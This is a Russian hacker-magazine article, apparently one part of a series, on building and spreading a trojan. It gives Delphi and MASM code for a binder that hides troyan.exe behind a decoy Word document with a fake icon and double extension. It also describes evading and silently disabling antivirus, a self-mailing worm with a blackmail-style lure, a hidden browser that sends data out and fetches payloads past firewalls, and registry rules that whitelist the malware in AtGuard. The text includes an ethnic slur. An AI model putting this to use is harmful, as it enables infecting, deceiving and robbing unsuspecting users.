Сразу оговорюсь для г-на майора и "интернациональной"
бригады г-на касперского (г-на - это
гражданина, а не то что вы подумали),
читающих эту статью. Здесь я не занимаюсь
распространением вредоносных программ и ни
к чему не призываю. Весь этот материал - это
объединение и обобщение уже давно
известных способов. Я только рассказываю о
ТЕОРЕТИЧЕСКИХ возможностях написания
некоторых программ для продумывания
наилучшей защиты от них. Рассказ ведется от
первого лица, хотя это ровным счетом ничего
не значит. Все материалы предоставлены в
целях обучения и ответственность за всякое
использование этих материалов полностью
ложиться на лицо, их использовавшее. В
описание и программный код специально
внесены неточности и ошибки.
Продолжаем статьи по Troyan. Первые части
можно найти на www.xakep.ru и www.danil.dp.ua.
Рассмотрим получение трояна по почте. Юзер,
получив почту и посмотрев на прикрепленный
файл, вряд ли будет запускать какой-нибудь
troyan.exe, даже если он не определяется как
вирус. Его надо немного замаскировать. Во-первых,
на него нужно повесить какую-нибудь иконку,
а во-вторых, изменить расширение по
принципу "LOVE LETTER FOR YOU". Т.е. например,
файл будет называться 1.doc<много-много
пробелов>.exe и иконка будет у него MS Word-овского
документа. Юзер, запустив такой файл и не
увидев такого любимого им ворда, может
насторожиться. Можно, конечно,
перезагрузить комп, выдать сообщение о не
наличии какой-нибудь очень нужной dll, но это
очень грубая и непрофессиональная работа.
Значит, в наш exe-файл надо встроить документ
и, после запуска, открывать его MS Word-ом. Есть
очень много разных скреплялок для файлов,
но практически все они (или результат их
работы) распознаются как вирусы. Здесь я
расскажу как самому сделать два-в-одном.
Исходники, по традиции, будут на MASM. MASM
можно взять на www.compexp.ru/download.html
(нашел Apoc). Реализовывать
идею будем по принципу, рассказанному в
моих статьях "Клавиатурный шпион своими
руками". Оба файла представим в программе
как константы строки, из которых при
запуске формируются два файла (1.doc и troyan.exe) и
запускаются. Создадим doc-овский файл и
напишем в нем "Hi, I am Troyan". Сохраним под
именем 1.doc. Возьмем troyan.exe из первой статьи
на эту тему. Теперь, для создания исходников
два-в-одном, необходимо написать
дополнительную программу, которая сама
создаст нужный asm-файл для компиляции. В
каталоге дополнительной программы должны
находиться файлы 1.doc и troyan.exe. Вот исходники
на Delphi (troyan_add.dpr):
program troyan_add;
uses
Windows, ShellAPI, SysUtils, Classes;
var
c4, c3, c2, c1, cmd : Integer;
CommandStr : array[1..100000] of Byte;
CommandStr1, CommandStr2 : String;
DopList,DopList1,DopList2 : TStringList;
begin
DopList:=TStringList.Create;
DopList1:=TStringList.Create;
DopList2:=TStringList.Create;
//Делаем шапку asm-файла
DopList.Add('.386');
DopList.Add('.model flat,stdcall');
DopList.Add('option casemap:none');
DopList.Add('include \masm32\include\kernel32.inc');
DopList.Add('include \masm32\include\shell32.inc');
DopList.Add('includelib \masm32\lib\shell32.lib');
DopList.Add('includelib \masm32\lib\kernel32.lib');
DopList.Add('.DATA');
//Формируем раздел переменных
FillChar(CommandStr,100000,0);
//Раздел переменных 1.doc
cmd:=_lopen(PChar('1.doc'),OF_READ);
c1:=GetFileSize(cmd,nil);
_lread(cmd,addr(CommandStr),c1);
_lclose(cmd);
c2:=0;
c3:=0;
c4:=0;
CommandStr1:='';
while true do begin
inc(c2);
inc(c3);
str(CommandStr[c2],CommandStr2);
CommandStr1:=CommandStr1+trim(CommandStr2)+', ';
if (c3=25)or(c2=c1) then begin
DopList.Add(trim('DOCstr'+IntToStr(c4))+' db '+CommandStr1+' 0');
DopList1.Add('invoke _lwrite, cmd, addr DOCstr'+trim(IntToStr(c4))+', '+trim(IntToStr(c3)));
CommandStr1:='';
c3:=0;
inc(c4);
end;
if c2=c1 then break;
end;
DopList.Add('');
FillChar(CommandStr,100000,0);
//Раздел переменных troyan.exe
cmd:=_lopen(PChar('troyan.exe'),OF_READ);
c1:=GetFileSize(cmd,nil);
_lread(cmd,addr(CommandStr),c1);
_lclose(cmd);
c2:=0;
c3:=0;
c4:=0;
CommandStr1:='';
while true do begin
inc(c2);
inc(c3);
str(CommandStr[c2],CommandStr2);
CommandStr1:=CommandStr1+trim(CommandStr2)+', ';
if (c3=25)or(c2=c1) then begin
DopList.Add(trim('EXEstr'+IntToStr(c4))+' db '+CommandStr1+' 0');
DopList2.Add('invoke _lwrite, cmd, addr EXEstr'+trim(IntToStr(c4))+', '+trim(IntToStr(c3)));
CommandStr1:='';
c3:=0;
inc(c4);
if c2=c1 then break;
end;
end;
DopList.Add('');
DopList.Add('CommandStr01 db "\TEMP\1.doc",0');
DopList.Add('CommandStr02 db "\troyan.exe",0');
DopList.Add('open db "open",0');
DopList.Add('');
DopList.Add('.DATA?');
DopList.Add('cmd dd ?');
DopList.Add('WinDir db 900 dup(?)');
DopList.Add('CommandStr1 db 1024 dup(?)');
DopList.Add('CommandStr2 db 1024 dup(?)');
//Раздел кода - получение путей для записи
//
DopList.Add('');
DopList.Add('.CODE');
DopList.Add('start:');
DopList.Add('invoke GetWindowsDirectory , addr WinDir, sizeof WinDir');
DopList.Add('invoke lstrcpy, addr CommandStr1, addr WinDir');
DopList.Add('invoke lstrcat, addr CommandStr1, addr CommandStr01');
DopList.Add('invoke GetSystemDirectory , addr WinDir, sizeof WinDir');
DopList.Add('invoke lstrcpy, addr CommandStr2, addr WinDir');
DopList.Add('invoke lstrcat, addr CommandStr2, addr CommandStr02');
//Раздел кода - запись 1.doc
DopList.Add('invoke _lcreat, addr CommandStr1, 0');
DopList.Add('mov cmd,eax');
DopList.Add('.IF cmd != 4294967295');
DopList.Add(DopList1.Text);
DopList.Add('invoke _lclose, cmd');
//Запуск 1.doc
DopList.Add('invoke ShellExecute, 0, addr open, addr CommandStr1,0,0,10');
DopList.Add('.ENDIF');
DopList.Add('');
//Раздел кода - запись troyan.exe
DopList.Add('invoke _lcreat, addr CommandStr2, 0');
DopList.Add('mov cmd,eax');
DopList.Add('.IF cmd != 4294967295');
DopList.Add(DopList2.Text);
DopList.Add('invoke _lclose, cmd');
//Запуск troyan.exe
DopList.Add('invoke WinExec, addr CommandStr2, 10');
DopList.Add('.ENDIF');
DopList.Add('invoke ExitProcess,0');
DopList.Add('END start');
DopList.SaveToFile('troyan3.asm');
end.
Что делает эта прога, я думаю, понятно.
Размер массива CommandStr должен быть больше
любого из "склеиваемых" файлов и оба
файла должны быть в каталоге
дополнительной программы. После ее работы
должен появиться файл "troyan3.asm":
.386
.model flat,stdcall
option casemap:none
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\kernel32.lib
;Раздел констант
.DATA
DOCstr0 db 208, 207, 17, 224, 161, 177, 26, 225, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 62, 0
DOCstr1 db 0, 3, 0, 254, 255, 9, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
0, 33, 0, 0
DOCstr2 db 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 35, 0, 0, 0, 1, 0, 0, 0, 254, 255,
255, 255, 0, 0, 0, 0
DOCstr3 db 0, 32, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0
;SKIP
;Здесь находятся остальные строки-константы
файла 1.doc
;SKIP
DOCstr777 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0
DOCstr778 db 0, 0, 0, 0, 0, 0, 0
EXEstr0 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0,
0, 0, 0, 0, 64, 0
EXEstr1 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0
EXEstr2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 176, 0, 0, 0, 14, 31, 186, 14, 0, 180,
9, 205, 33, 184, 1, 0
EXEstr3 db 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109,
32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 0
;SKIP
;Здесь находятся остальные строки-константы
файла troyan.exe
;SKIP
EXEstr142 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0
EXEstr143 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
CommandStr01 db "\TEMP\1.doc",0
CommandStr02 db "\troyan.exe",0
open db "open",0
.DATA?
cmd dd ?
WinDir db 900 dup(?)
CommandStr1 db 1024 dup(?)
CommandStr2 db 1024 dup(?)
; Раздел кода
.CODE
start:
;Определение путей
invoke GetWindowsDirectory , addr WinDir, sizeof WinDir
invoke lstrcpy, addr CommandStr1, addr WinDir
invoke lstrcat, addr CommandStr1, addr CommandStr01
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcpy, addr CommandStr2, addr WinDir
invoke lstrcat, addr CommandStr2, addr CommandStr02
; Создать файл 1.doc
invoke _lcreat, addr CommandStr1, 0
mov cmd,eax
.IF cmd != 4294967295
invoke _lwrite, cmd, addr DOCstr0, 25
invoke _lwrite, cmd, addr DOCstr1, 25
invoke _lwrite, cmd, addr DOCstr2, 25
;SKIP
;Здесь находятся остальные операторы
записи 1.doc
;SKIP
invoke _lwrite, cmd, addr DOCstr777, 25
invoke _lwrite, cmd, addr DOCstr778, 6
invoke _lclose, cmd
; Открываем 1.doc связанной программой
invoke ShellExecute, 0, addr open, addr CommandStr1,0,0,10
.ENDIF
invoke _lcreat, addr CommandStr2, 0
mov cmd,eax
.IF cmd != 4294967295
invoke _lwrite, cmd, addr EXEstr0, 25
invoke _lwrite, cmd, addr EXEstr1, 25
invoke _lwrite, cmd, addr EXEstr2, 25
;SKIP
;Здесь находятся остальные операторы
записи troyan.exe
;SKIP
invoke _lwrite, cmd, addr EXEstr142, 25
invoke _lwrite, cmd, addr EXEstr143, 9
invoke _lclose, cmd
; Запускаем troyan.exe
invoke WinExec, addr CommandStr2, 10
.ENDIF
invoke ExitProcess, 0
END start
Для добавления иконки можно сделать так (иконка
doc.ico в текущем каталоге): добавить файл rsrc.rc
с текстом 500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE "doc.ico"
в каталог с troyan3.asm и откомпилировать.
Запускаем. Troyan3.exe должен создать 2 файла и
запустить их (troyan.exe просто запустить, а 1.doc
открыть связанной с ним программой). При
закрытии Word-а потом будут небольшие
проблемы, но дописать асмовскую прогу для
решения этих проблем - можно. Чем хорош этот
способ:
1) После сжатия, exe-файл будет даже меньше
доковского.
2) Код можно шифровать для всяких там
антивирусных мониторов и спайдеров.
Например, можно в прибавлять 5 к каждому
коду символов при формировании asm-файла и
отнимать 5 при записи этих файлов на диск.
Можно сначала создать файл со всеми нулями,
а потом записывать в него код в разброс, и
прочее.
3) Такая программа элементарно
преобразуется и модифицируется в случае
начала опознавания ее антивирами. В ней
очень сложно привязаться к какому-то куску
уникального кода. Тут касперский и ему
подобные просто отдохнут.
4) В случае склеивания двух exe-файлов (официального
и нет), можно преобразовать код таким
образом, что размеры два-в-одном и первого
файла будут аналогичными. Делается это так:
в каждом exe-файле есть повторяющиеся куски (например,
содержащие нули). Если поудалять некоторые
константы-строки и преобразовать раздел
записи в файл, то при компиляции получится
файл необходимого размера.
5) АВП монитор имеет один недостаток. Если
послать ему команду на закрытие, то он
переспросит, и пользователь сразу увидит
отсутствие в трее примелькавшегося значка.
Но его можно просто выключить (сделать не
активным). Никакого переспроса при этом не
происходит и значок в трее остается (небольшие
изменения в яркости будут практически не
заметны). Таким образом можно склеивать
даже определяющиеся антивиром файлы. Сам
два-в-одном определяться не будет и может
при запуске, до записи файлов на диск,
поотключать монитор и т.п.
На этом "движке" можно сделать и
червя. Письмо содержит вот такой текст: "По
вашему заказу, мы проследили за вашей женой
... и посылаем вам компрометирующую ее
фотографию. Вы должны оплатить стоимость
наших услуг с учетом аванса и плюс 743 $ (семьсот
сорок три доллара), потраченные нами на
накладные расходы. После оплаты, мы
предоставим вам негативы и полный отчет".
Типа, ошиблись адресом. Текст должен быть на
английском. Обратный адрес должен быть
какой-нибудь security@hotmail.com. При формировании
два-в-одном, первый файл будет "компроментирующим"
jpg-файлом, который можно взять на любом
соответствующем сайте и на котором будет
гипотетическая жена с любовником (с двумя, с
лучшей подругой и т.д.). Второй файл будет
формировать сообщение, прикреплять к нему
два-в-одном и отсылать по адресам, которые
будут в адресной книге или swap-файле.
Информацию о кодировании файлов при
прикреплении можно взять на www.xspider.ru.
Спам-лист для первой рассылки лучше взять
на порно-сервере, который любят посещать
представители такой не любимой нами нации.
Я думаю, излишне говорить, что отсылка будет
с компьютерного клуба на другом конце
города, где надо прикинуться полным юзером,
хотящим отослать любимой бабушке письмо.
Хочу пару слов сказать в продолжение второй
статьи на эту тему. Было несколько вопросов,
как все-таки скрыть броузер, после запуска
трояна на cgi. Тут можно использовать не
ShellExecute, а CreateProcess или WinExec, запуская броузер
и подавая ему в качестве параметров наш url и
SW_HIDE. Путь и имя для запуска броузера по
умолчанию, находится в ключе реестра
HKEY_CLASSES_ROOT\http\shell\open\command. Полученное значение
надо немного доработать и открытие в
скрытом режиме нужного url, будет выглядеть
примерно так:
; -----------------
; SKIP
; -----------------
.DATA
Url db "http://www.domain.com/cgi-bin/mail.cgi?comment=Hi I am
troyan2",0 ; url
StartupInfo STARTUPINFO <>
ProcessInfo PROCESS_INFORMATION <>
browser db 255 dup(?) ; путь и имя броузера
; -----------------
; SKIP
; -----------------
.CODE
start:
; -----------------
; Получение browser
; SKIP
; -----------------
; Запуск открытия url
invoke lstrcat, addr browser, addr url
mov StartupInfo.cb, Sizeof StartupInfo
mov StartupInfo.dwFlags, STARTF_USESHOWWINDOW
mov StartupInfo.wShowWindow,SW_HIDE
invoke CreateProcess, NULL, addr browser, NULL, NULL,FALSE,
NORMAL_PRIORITY_CLASS, NULL,NULL,offset StartupInfo, offset ProcessInfo
invoke CloseHandle,ProcessInfo.hThread
invoke CloseHandle,ProcessInfo.hProcess
; -----------------
; SKIP
; -----------------
END start
Здесь открываются большие перспективы.
Например, можно отсылать сообщение через cgi,
а потом переходить на html-файл, который будет
выводить предварительно сформированный
текст. Этот текст - коды символов нужного
для закачки на удаленный компьютер файла (например:
открытия хтмл-ки, можно получать hWnd окна,
выводящего информацию в броузере, получать
из него текст, преобразовывать в файл,
записывать этот файл на диск и запускать.
Таким образом, файлы можно подсовывать
любые, не имея доступа к компьютеру. И из-за
того, что все операции по отправке
сообщений и закачке файлов делает броузер в
скрытом режиме, - firewall-ы сходят "в сад".
Теперь о программном перекрытии firewall.
Рассмотрим такой популярный, но такой
дырявый @Guard. Информация о доверенных
приложениях никак не шифруется и хранится в
реестре. Круто. Правда, такой продвинутый
брандмауэр как OutPost, тоже ничего не шифрует,
но там хоть в файле (configuration.cfg) хранится и
формат сохранения еще надо понять.
Необходимые исследования по AtGuard провел Nick.Box
- все вопросы к нему. Открываем реестр и ищем
в HKLM\Software слово AtGuard. Дальше по аналогии.
Здесь даны названия параметров и описание
за что они отвечают. Разобраться и написать
код, добавляющий в реестр нужные параметры -
это уже за тобой.
DWORD-"RuleAction"-0x00000002(2) //2 -
Пропускать
//1 - Блокировать
//0 - Игнор
STR-"RuleApplicationObject"-"Applications\AT Guard" //
Пояснять ?
STR-"RuleDescription"-"Your description" // и это
тоже ?
DWORD-"RuleDirection"-0x00000002(2) // Направление.
// 1 = туда, 2 = сюда
// 0 = Пофиг.
DWORD-"RuleInUse"-0x00000001(1) // Юзать правило?? True/False
DWORD-"RuleLogging"-0x00000000(0) // Создавать отчет
по ЭТОМУ правилу ?? Да/Нет (1\0 Ж)
// 3 - на контролах показать что правило
залогинено (когда юзается).
DWORD-"RuleLoggingThreshold"-0x0000000Х(Х) // Логить
после Х совпадений.
DWORD-"RuleNumber"-0x00000000(0) // Думаю понятно
DWORD-"RuleProtocol"- 0x00000000(0)
// 0x0 - TCP or UDP
// 0x1 - ICMP
// 0x6 - TCP
// 0x11 - UDP
P.S. Статья и программа предоставлена в
целях обучения и вся ответственность за
использование ложится на твои хилые плечи.